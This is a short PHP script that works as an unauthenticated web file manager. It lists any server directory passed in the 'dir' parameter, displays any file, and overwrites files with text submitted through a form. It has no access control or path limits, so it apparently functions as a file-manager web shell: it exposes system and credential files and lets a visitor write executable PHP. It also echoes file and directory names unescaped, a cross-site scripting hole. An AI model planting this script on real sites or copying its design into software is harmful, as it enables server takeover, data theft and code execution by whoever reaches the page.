<?php
if (isset($_GET['dir'])) {
    $currentDir = realpath($_GET['dir']);
} else {
    $currentDir = getcwd();
}

echo "<h2>Current Directory: $currentDir</h2>";

echo "<ul>";
if ($currentDir !== dirname($currentDir)) {
    echo "<li><a href='?dir=" . urlencode(dirname($currentDir)) . "'>[Go Up]</a></li>";
}

$files = scandir($currentDir);
foreach ($files as $file) {
    if ($file !== '.') {
        $filePath = $currentDir . DIRECTORY_SEPARATOR . $file;
        if (is_dir($filePath)) {
            echo "<li>[DIR] <a href='?dir=" . urlencode($filePath) . "'>$file</a></li>";
        } else {
            echo "<li><a href='?file=" . urlencode($filePath) . "'>$file</a> | <a href='?edit=" . urlencode($filePath) . "'>[Edit]</a></li>";
        }
    }
}
echo "</ul>";

// File viewing
if (isset($_GET['file'])) {
    $fileToView = realpath($_GET['file']);
    if (file_exists($fileToView)) {
        echo "<h3>Viewing File: " . htmlspecialchars($fileToView) . "</h3>";
        echo "<pre>" . htmlspecialchars(file_get_contents($fileToView)) . "</pre>";
    }
}

// File editing
if (isset($_GET['edit'])) {
    $fileToEdit = realpath($_GET['edit']);
    if (file_exists($fileToEdit)) {
        if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['content'])) {
            file_put_contents($fileToEdit, $_POST['content']);
            echo "<p>File saved successfully!</p>";
        }
        echo "<h3>Editing File: " . htmlspecialchars($fileToEdit) . "</h3>";
        echo "<form method='post'>";
        echo "<textarea name='content' rows='20' cols='80'>" . htmlspecialchars(file_get_contents($fileToEdit)) . "</textarea><br>";
        echo "<input type='submit' value='Save File'>";
        echo "</form>";
    }
}
?>